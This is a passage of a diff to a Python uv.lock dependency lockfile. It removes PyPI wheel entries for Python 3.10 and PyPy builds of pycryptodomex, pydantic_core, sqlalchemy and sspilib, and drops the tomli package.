{ url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1709,11 +1626,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1740,20 +1652,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
|
||||
@@ -2007,11 +1905,9 @@ version = "7.4.4"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "sys_platform == 'win32'" },
|
||||
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
|
||||
{ name = "iniconfig" },
|
||||
{ name = "packaging" },
|
||||
{ name = "pluggy" },
|
||||
{ name = "tomli", marker = "python_full_version < '3.11'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" }
|
||||
wheels = [
|
||||
@@ -2149,13 +2045,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" },
|
||||
@@ -2194,9 +2083,6 @@ version = "0.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" },
|
||||
@@ -2232,60 +2118,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomli"
|
||||
version = "2.4.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
|
||||
